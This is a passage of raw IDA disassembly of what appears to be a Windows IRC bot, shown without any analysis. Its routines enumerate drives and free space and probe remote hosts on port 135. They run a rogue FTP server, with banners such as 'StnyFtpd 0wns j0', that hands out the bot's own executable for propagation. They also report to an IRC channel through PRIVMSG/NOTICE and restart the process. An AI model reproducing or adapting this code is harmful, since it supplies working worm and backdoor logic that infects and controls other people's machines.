loc_4038AD dec eax jz short loc_4038A7 mov eax, offset word_41AF80 retn ; --------------------------------------------------------------------------- loc_4038A7: ; CODE XREF: sub_403882+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_4038AD: ; CODE XREF: sub_403882+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4038B3: ; CODE XREF: sub_403882+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4038B9: ; CODE XREF: sub_403882+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4038BF: ; CODE XREF: sub_403882+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4038C5: ; CODE XREF: sub_403882+Dj mov eax, offset aUnknown ; "Unknown" retn sub_403882 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038CB proc near ; CODE XREF: sub_403913+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_42B2E8 test eax, eax jz short loc_403900 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_403900: ; CODE XREF: sub_4038CB+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4038CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403913 proc near ; CODE XREF: sub_403A2E+17p ; sub_40A1F9+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4038CB pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_4039EB mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_4039EB mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_4039EB push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_40C900 push edx push eax call sub_403804 mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_40BDE7 add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_40C900 push edx push eax call sub_403804 push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_40BDE7 add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_40C900 push edx push eax call sub_403804 push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_40BDE7 add esp, 18h pop ebx jmp short loc_403A1A ; --------------------------------------------------------------------------- loc_4039EB: ; CODE XREF: sub_403913+2Cj ; sub_403913+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_40B0B3 lea eax, [ebp+var_118] push esi push eax call sub_40B0B3 lea eax, [ebp+var_98] push esi push eax call sub_40B0B3 add esp, 18h loc_403A1A: ; CODE XREF: sub_403913+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_403913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A2E proc near ; CODE XREF: sub_403B00+17p ; sub_403B00+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_403913 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_40C250 add esp, 10h test eax, eax jnz short loc_403AA1 push ebx push ebx call sub_403882 pop ecx push eax push offset unk_41AFD4 lea eax, [ebp+var_500] push 200h push eax call sub_40BDE7 add esp, 14h jmp short loc_403AD5 ; --------------------------------------------------------------------------- loc_403AA1: ; CODE XREF: sub_403A2E+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_403882 pop ecx push eax push offset unk_41AF94 lea eax, [ebp+var_500] push 200h push eax call sub_40BDE7 add esp, 20h loc_403AD5: ; CODE XREF: sub_403A2E+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 lea eax, [ebp+var_500] push eax call sub_403145 add esp, 18h pop edi pop esi pop ebx leave retn sub_403A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B00 proc near ; CODE XREF: sub_406BAB+2E1Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_403B21 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403A2E add esp, 10h jmp short loc_403B80 ; --------------------------------------------------------------------------- loc_403B21: ; CODE XREF: sub_403B00+9j push esi push edi push ebx push ebx call dword_42B354 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_40B6BF pop ecx mov edi, eax push edi push esi call dword_42B354 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_403B77 loc_403B45: ; CODE XREF: sub_403B00+75j push offset aA_1 ; "A:\\" push esi call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_403B68 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403A2E add esp, 10h loc_403B68: ; CODE XREF: sub_403B00+54j push esi call sub_40B5B0 lea esi, [esi+eax+1] pop ecx cmp [esi], bl jnz short loc_403B45 loc_403B77: ; CODE XREF: sub_403B00+43j push edi call sub_40B771 pop ecx pop edi pop esi loc_403B80: ; CODE XREF: sub_403B00+1Fj pop ebx pop ebp retn sub_403B00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B83 proc near ; DATA XREF: sub_406422+19o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_42CF6C call dword_42B468 ; closesocket call sub_40AC17 call dword_42B344 ; WSACleanup call dword_42B344 ; WSACleanup mov ebx, dword_417040 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_40B630 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_40B630 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_422270 mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_417080 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_41704C ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_417070 ; CreateProcessA test eax, eax jz short loc_403C48 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_417074 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_403C48: ; CODE XREF: sub_403B83+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_42B2AC mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call dword_41706C ; ExitProcess pop edi pop esi pop ebx sub_403B83 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C6B proc near ; CODE XREF: sub_403CA3+125p ; sub_403CA3+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_403C99 loc_403C7C: ; CODE XREF: sub_403C6B+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_40C9B0 add esp, 0Ch test eax, eax jz short loc_403C9F inc esi cmp esi, edi jl short loc_403C7C loc_403C99: ; CODE XREF: sub_403C6B+Fj xor al, al loc_403C9B: ; CODE XREF: sub_403C6B+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_403C9F: ; CODE XREF: sub_403C6B+27j mov al, 1 jmp short loc_403C9B sub_403C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403CA3 proc near ; CODE XREF: sub_402972+8Bp var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_40B690 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_403CE4 dec eax jz short loc_403CC2 dec eax loc_403CBC: ; CODE XREF: sub_403CA3+57j xor eax, eax loc_403CBE: ; CODE XREF: sub_403CA3+3Fj ; sub_403CA3+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_403CC2: ; CODE XREF: sub_403CA3+16j push 3 push 1388h push [ebp+arg_0] call dword_42B410 ; inet_addr push eax call sub_4014AE add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_403CBE ; --------------------------------------------------------------------------- loc_403CE4: ; CODE XREF: sub_403CA3+13j push 6 push 1 push 2 call dword_42B450 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_403CBC push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_40B630 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_42B3D4 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call sub_40564F pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_42B380 ; connect cmp eax, edi jz loc_403E00 push ebx push 48h push offset dword_41B018 push esi call dword_42B420 ; send cmp eax, edi jz loc_403E00 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_42B3EC ; recv cmp eax, edi jz loc_403E00 cmp [ebp+var_200E], 0Ch jnz short loc_403E00 push ebx push 18h push offset dword_41B064 push [ebp+arg_4] call dword_42B420 ; send cmp eax, edi jz short loc_403E00 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_42B3EC ; recv mov esi, eax cmp esi, edi jz short loc_403E00 cmp [ebp+var_200E], 2 jnz short loc_403E00 push 10h push offset loc_41B080 lea eax, [ebp+var_2010] push esi push eax call sub_403C6B add esp, 10h test al, al jz short loc_403DE0 cmp esi, 12Ch setnl bl inc ebx jmp short loc_403E00 ; --------------------------------------------------------------------------- loc_403DE0: ; CODE XREF: sub_403CA3+12Fj push 10h push offset dword_41B094 lea eax, [ebp+var_2010] push esi push eax call sub_403C6B add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_403E00: ; CODE XREF: sub_403CA3+9Bj ; sub_403CA3+B2j ... push [ebp+arg_4] call dword_42B468 ; closesocket mov eax, ebx pop ebx jmp loc_403CBE sub_403CA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E11 proc near ; DATA XREF: sub_401141+227o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_134 = byte ptr -134h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] inc ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_24], ebx mov [ebp+var_28], ebx mov [ebp+var_238], edi mov [ebp+var_438], edi call dword_41717C ; WSAStartup push edi call sub_40CC92 push eax call sub_40B545 push 0FA00h push 539h call sub_40301D add esp, 10h mov dword_42B2B4, eax push edi push ebx push 2 call dword_4171A8 ; socket mov esi, eax lea eax, [ebp+var_24] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call dword_41719C ; setsockopt lea eax, [ebp+var_28] push eax push 8004667Eh push esi call dword_417180 ; ioctlsocket mov ax, word ptr dword_42B2B4 mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call dword_417194 ; htons mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call dword_417184 ; bind test eax, eax jge short loc_403EE6 mov eax, ebx jmp loc_4043F1 ; --------------------------------------------------------------------------- loc_403EE6: ; CODE XREF: sub_403E11+CCj push 0Ah push esi call dword_417188 ; listen mov [ebp+var_238], ebx mov ebx, dword_4171AC mov [ebp+var_234], esi mov [ebp+var_4], esi loc_403F04: ; CODE XREF: sub_403E11+12Aj ; sub_403E11+5D8j push 41h lea esi, [ebp+var_238] pop ecx lea edi, [ebp+var_438] rep movsd xor edi, edi lea eax, [ebp+var_438] push edi push edi push edi push eax mov eax, [ebp+var_4] inc eax push eax call dword_4171B0 ; select cmp eax, 0FFFFFFFFh jz loc_4043EE cmp [ebp+var_4], edi mov [ebp+arg_0], edi jl short loc_403F04 loc_403F3D: ; CODE XREF: sub_403E11+5D2j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_40B630 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_40B630 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_416438 ; __WSAFDIsSet test eax, eax jz loc_4043DC cmp edi, [ebp+var_C] jnz short loc_403FE6 lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_134] push eax push [ebp+var_C] call dword_41718C ; accept cmp eax, 0FFFFFFFFh jz loc_4043DC mov edx, [ebp+var_238] xor ecx, ecx cmp edx, esi jbe short loc_403FB8 loc_403FAA: ; CODE XREF: sub_403E11+1A5j cmp [ebp+ecx*4+var_234], eax jz short loc_403FB8 inc ecx cmp ecx, edx jb short loc_403FAA loc_403FB8: ; CODE XREF: sub_403E11+197j ; sub_403E11+1A0j cmp ecx, edx jnz short loc_403FCE cmp edx, 40h jnb short loc_403FCE mov [ebp+ecx*4+var_234], eax inc [ebp+var_238] loc_403FCE: ; CODE XREF: sub_403E11+1A9j ; sub_403E11+1AEj cmp eax, [ebp+var_4] jle short loc_403FD6 mov [ebp+var_4], eax loc_403FD6: ; CODE XREF: sub_403E11+1C0j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4043DC ; --------------------------------------------------------------------------- loc_403FE6: ; CODE XREF: sub_403E11+167j push esi lea eax, [ebp+var_29C] push 64h push eax push edi call dword_4171A0 ; recv test eax, eax jg short loc_404043 mov ecx, [ebp+var_238] xor eax, eax cmp ecx, esi jbe short loc_404037 loc_404007: ; CODE XREF: sub_403E11+202j cmp [ebp+eax*4+var_234], edi jz short loc_40402C inc eax cmp eax, ecx jb short loc_404007 jmp short loc_404037 ; --------------------------------------------------------------------------- loc_404017: ; CODE XREF: sub_403E11+21Ej mov ecx, [ebp+eax*4+var_230] mov [ebp+eax*4+var_234], ecx mov ecx, [ebp+var_238] inc eax loc_40402C: ; CODE XREF: sub_403E11+1FDj dec ecx cmp eax, ecx jb short loc_404017 dec [ebp+var_238] loc_404037: ; CODE XREF: sub_403E11+1F4j ; sub_403E11+204j push edi call dword_4171A4 ; closesocket jmp loc_4043DC ; --------------------------------------------------------------------------- loc_404043: ; CODE XREF: sub_403E11+1E8j lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS ; "%s %s" push eax call sub_40B56D lea eax, [ebp+var_AC] push offset aUser ; "USER" push eax call sub_40C250 add esp, 18h test eax, eax jnz short loc_404087 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_404087: ; CODE XREF: sub_403E11+267j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4040AB push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_403E11+28Bj lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4040CF push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_4040CF: ; CODE XREF: sub_403E11+2AFj lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4040F3 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_4040F3: ; CODE XREF: sub_403E11+2D3j lea eax, [ebp+var_AC] push offset off_41B280 push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_404117 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_404117: ; CODE XREF: sub_403E11+2F7j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_404152 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_404152 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_404152: ; CODE XREF: sub_403E11+31Bj ; sub_403E11+332j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_40418D lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_40418D push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_40418D: ; CODE XREF: sub_403E11+356j ; sub_403E11+36Dj lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4041DB push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_40B5B0 pop ecx push eax lea eax, [ebp+var_124] loc_4041CB: ; CODE XREF: sub_403E11+409j push eax push [ebp+arg_0] call ebx ; send mov edi, [ebp+arg_0] xor esi, esi jmp loc_4043CA ; --------------------------------------------------------------------------- loc_4041DB: ; CODE XREF: sub_403E11+391j lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_40421C push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_40B5B0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4041CB ; --------------------------------------------------------------------------- loc_40421C: ; CODE XREF: sub_403E11+3DFj lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_4042ED lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_40B56D lea eax, [ebp+var_F8] push eax call sub_40C3AF mov [ebp+var_8], eax lea eax, [ebp+var_2D0] push eax call sub_40C3AF mov [ebp+arg_0], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_40B630 push [ebp+arg_0] lea eax, [ebp+var_F8] push [ebp+var_8] push offset aXX ; "%x%x\n" push eax call sub_40B0B3 add esp, 44h lea eax, [ebp+var_F8] push 10h push esi push eax call sub_40CC7B mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_40B0B3 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_4042ED: ; CODE XREF: sub_403E11+420j lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_4043A8 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4043F8 pop ecx cmp eax, 1 pop ecx jnz short loc_40439E call sub_404475 cmp eax, 1 jnz loc_4043CA push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_42B2B4 push eax lea eax, [ebp+var_8DC] push offset unk_41B0F0 push eax call sub_40B0B3 add esp, 14h cmp [ebp+var_440], esi jnz short loc_40438F push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_404555 add esp, 14h loc_40438F: ; CODE XREF: sub_403E11+559j lea eax, [ebp+var_8DC] push eax call sub_403145 pop ecx jmp short loc_4043CA ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_403E11+513j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4043C7 ; --------------------------------------------------------------------------- loc_4043A8: ; CODE XREF: sub_403E11+4F1j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4043CA push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4043C7: ; CODE XREF: sub_403E11+271j ; sub_403E11+295j ... push edi call ebx ; send loc_4043CA: ; CODE XREF: sub_403E11+3C5j ; sub_403E11+51Dj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_40B630 add esp, 0Ch loc_4043DC: ; CODE XREF: sub_403E11+15Ej ; sub_403E11+187j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_403F3D jmp loc_403F04 ; --------------------------------------------------------------------------- loc_4043EE: ; CODE XREF: sub_403E11+11Ej xor eax, eax inc eax loc_4043F1: ; CODE XREF: sub_403E11+D0j pop edi pop esi pop ebx leave retn 4 sub_403E11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043F8 proc near ; CODE XREF: sub_403E11+509p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_41717C ; WSAStartup push 0 push 1 push 2 call dword_4171A8 ; socket push [ebp+arg_0] mov dword_42B2B0, eax mov [ebp+var_10], 2 call dword_417190 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_417194 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_42B2B0 call dword_417198 ; connect cmp eax, 0FFFFFFFFh jnz short loc_404470 push dword_42B2B0 call dword_4171A4 ; closesocket call dword_417178 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_404470: ; CODE XREF: sub_4043F8+60j xor eax, eax inc eax leave retn sub_4043F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404475 proc near ; CODE XREF: sub_403E11+515p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_41704C ; GetModuleFileNameA lea eax, [ebp+var_104] push offset dword_41AD40 push eax call sub_40C7B8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40450C test byte ptr [esi+0Ch], 10h jnz short loc_4044F0 push edi mov edi, 400h loc_4044B8: ; CODE XREF: sub_404475+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_40C410 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_42B2B0 call dword_4171AC ; send push 1 call dword_417040 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_4044B8 pop edi loc_4044F0: ; CODE XREF: sub_404475+3Bj push esi call sub_40C3BA pop ecx push dword_42B2B0 call dword_4171A4 ; closesocket call dword_417178 ; WSACleanup xor eax, eax inc eax loc_40450C: ; CODE XREF: sub_404475+35j pop esi leave retn sub_404475 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40450F proc near ; CODE XREF: sub_406A2F+3Dp ; sub_406BAB+1B6p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_40C2D4 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_40B5B0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_42B420 ; send leave retn sub_40450F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404555 proc near ; CODE XREF: sub_401000+B2p ; sub_4010CA+61p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_404570 mov edi, offset aPrivmsg ; "PRIVMSG" loc_404570: ; CODE XREF: sub_404555+14j push edi call sub_40B5B0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_40B5B0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_0 ; "%s" push esi push eax call sub_40BDE7 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_40B0B3 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_40B5B0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_42B420 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_4045EE push 7D0h call dword_417040 ; Sleep locret_4045EE: ; CODE XREF: sub_404555+8Cj leave retn sub_404555 endp ; =============== S U B R O U T I N E ======================================= sub_4045F0 proc near ; CODE XREF: sub_406422+50p push ebx push ebp mov ebp, dword_41708C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_417088 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_404710 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_42B47C, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_42B3F4, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_42B3D8, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_42B30C, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov 